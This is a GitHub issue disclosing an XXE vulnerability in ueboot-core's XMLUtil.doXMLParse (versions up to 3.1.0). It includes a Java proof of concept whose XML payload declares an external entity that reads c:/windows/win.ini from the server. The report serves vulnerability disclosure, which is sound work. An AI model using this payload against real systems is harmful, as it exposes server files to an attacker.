Skip to content
This repository was archived by the owner on Jun 10, 2025. It is now read-only.
This repository was archived by the owner on Jun 10, 2025. It is now read-only.

There is a XXE vulnerability in ueboot-core module of the method XMLUtil.doXMLParse(String strxml) #71

@Alex111998

Description

@Alex111998

https://github.com/ueboot/ueboot/blob/55763e037fd339ca0e8165ccda185ce5028deb03/ueboot-core/src/main/java/com/ueboot/core/utils/XMLUtil.java#LL35C19-L35C26

Description

ueboot-core provides XML utility classes that may be vulnerable to XXE when using XMLUtil.doXMLParse(String strxml) to interpret untrusted XML strings.Attacker can get important file content on the server by it.

Detail

The program will call SAXReader.read(InputStream in) to parse an untrusted XML string and allow reference external entities , can causing a XXE vulnerability.

Version

<= 3.1.0

         <dependency>
              <groupId>com.ueboot</groupId>
              <artifactId>ueboot-core</artifactId>
              <version>3.1.0</version>
          </dependency>

POC

    public static void main(String[] args) throws IOException {
            String xmlStr = "<?xml version='1.0' encoding='utf-8'?>\n"
                    + "<!DOCTYPE xdsec [\n"
                    + "<!ELEMENT methodname ANY>\n"
                    + "<!ENTITY xxe SYSTEM 'file:///c:/windows/win.ini'>]>\n"
                    + "<methodcall>\n"
                    + "<methodname>&xxe;</methodname>\n"
                    + "</methodcall>";
    
            Map<String, String> map = XMLUtil.doXMLParse(xmlStr);
            System.out.println(map);
        }

Attack

Attacker can read the content of c:/windows/win.ini by it.
image

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions